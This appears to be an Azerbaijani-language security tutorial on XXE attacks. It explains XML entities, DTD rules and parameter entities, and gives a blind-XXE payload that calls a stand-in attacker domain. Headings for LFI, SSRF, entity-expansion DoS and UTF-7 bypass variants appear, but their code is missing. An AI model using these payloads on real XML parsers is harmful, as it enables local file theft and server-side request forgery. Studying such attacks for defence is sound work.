XXE
Last updated
Last updated
XML "extensible markup language" deməkdir. XML məlumatların saxlanması və daşınması üçün nəzərdə tutulmuş bir dildir. HTML kimi, XML də teqlərin və məlumatların ağaca bənzər strukturundan istifadə edir. HTML-dən fərqli olaraq, XML əvvəlcədən təyin edilmiş teqlərdən istifadə etmir və buna görə də teqlərə verilənləri təsvir edən adlar verilə bilər. Əvvəllər internet tarixində XML məlumat nəqli formatı kimi dəbdə idi (“AJAX”dakı “X” “XML” deməkdir). Lakin onun populyarlığı indi JSON formatının xeyrinə azalıb.
XML entities verilənlərin özündən istifadə etmək əvəzinə, XML sənədində məlumat elementini təmsil etmək üsuludur. XML dilinin spesifikasiyasına uyğun olaraq müxtəlif obyektlər qurulur. Məsələn, qurumlar < və > < və > simvollarını təmsil edir. Bunlar XML teqlərini ifadə etmək üçün istifadə edilən metasimvollardır.
Element növü qaydaları XML sənədində görünən elementlərin növü və sayı, hansı elementlərin bir-birinin içində görünəcəyi və onların hansı ardıcıllıqla görünməli olduğunu təyin edir. Məsələn:
<!ELEMENT stockCheck ANY>
Hər hansı bir obyektin parent içində olacağını bildirir<stockCheck></stockCheck>
<!ELEMENT stockCheck EMPTY> Bu o deməkdir ki, boş olmalıdır <stockCheck></stockCheck>
<!ELEMENT stockCheck (productId,storeId)> Bunu göstərir ki <stockCheck>
Bu formada qolları da var<productId>
and <storeId>
XML external entities (XXE) XML-də sənədin XML sənədinə daxil edilməsinə fayl və ya verilənlər kimi xarici məzmuna istinad etməyə imkan verən xüsusiyyətdir. Bununla belə, XXE diqqətlə idarə edilmədikdə təhlükəsizlik riski yarada bilər. Təcavüzkar zərərli obyektləri yeritməklə bu funksiyadan istifadə edə bilər və bu, icazəsiz girişə və ya həssas məlumatların paylaşılmasına səbəb ola bilər. Məsələn, yerli fayla işarə edən xarici obyekti göstərən XML faylını nəzərdən keçirin:
Bu nümunədə təcavüzkar Unix əsaslı sistemdə "/etc/passwd" faylının məzmununu əldə edə bilər. XXE hücumlarının qarşısını almaq üçün external entities istinadlarını söndürmək və ya XML emal proqramlarında təhlükəsiz təhlil metodlarından istifadə etmək vacibdir.
Bəzən adi entities-dən istifadə edən XXE hücumları tətbiq tərəfindən bəzi daxilolmaların təsdiqlənməsi və ya istifadə olunan XML analizatorunun bəzi sərtləşməsi səbəbindən bloklanır. Bu vəziyyətdə, əvəzinə XML parametr obyektlərindən istifadə edə bilərsiniz. XML parametr entities-i yalnız DTD daxilində başqa yerdə istinad edilə bilən XML obyektinin xüsusi növüdür. İndilik üçün yalnız iki şeyi bilməlisiniz. Birincisi, XML parametr obyektindən əvvəl faiz simvolu qoyulmalıdır:
<!ENTITY % myparameterentity "my parameter entity value" >
İkincisi, parametr entities-inə adi ampersand əvəzinə faiz simvolu ilə istinad edilir:
%myparameterentity;
Bu o deməkdir ki, siz aşağıdakı kimi XML parametr entities vasitəsilə out-of-band dedection istifadə edərək blind XXE-ni test edə bilərsiniz:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
Bu XXE faydalı yükü xxe adlı XML parametr entity-ni elan edir və sonra DTD daxilində entity-dən istifadə edir. Bu, hücumun uğurlu olduğunu təsdiqləyən DNS axtarışına və təcavüzkarın domeninə HTTP sorğusuna səbəb olacaq.
Internal Entities
External Entities (Private external entity)
External Entities (Public External Entity)
Parameter entities
Unparsed External Entities
XML fayllarını CDATA vasitəsilə çıxara bilən XXE:
wrapper.dtd daxilində (xarici DTD faylı). Onun məqsədi sadəcə dəyişənləri (parametrləri) 1-ə yığmaqdır.
LFI Test
Blind LFI test (ilk öncə heçnə qaytarmadıqda)
Access Control bypass (məhdudlaşdırılmış resursların yüklənməsi - PHP nümunəsi)
SSRF Test
XEE (XML Entity Expansion - DOS)
XEE #2 (Uzaqdan hücum - external xml inclusion üzərindən hücum)
XXE FTP HTTP Server
XXE UTF-7
UTF-8 və UTF-7 arasında çevirmək üçün recode istifadə edin. UTF8..UTF7 payload-file.xml kodonu yenidən kodlayın.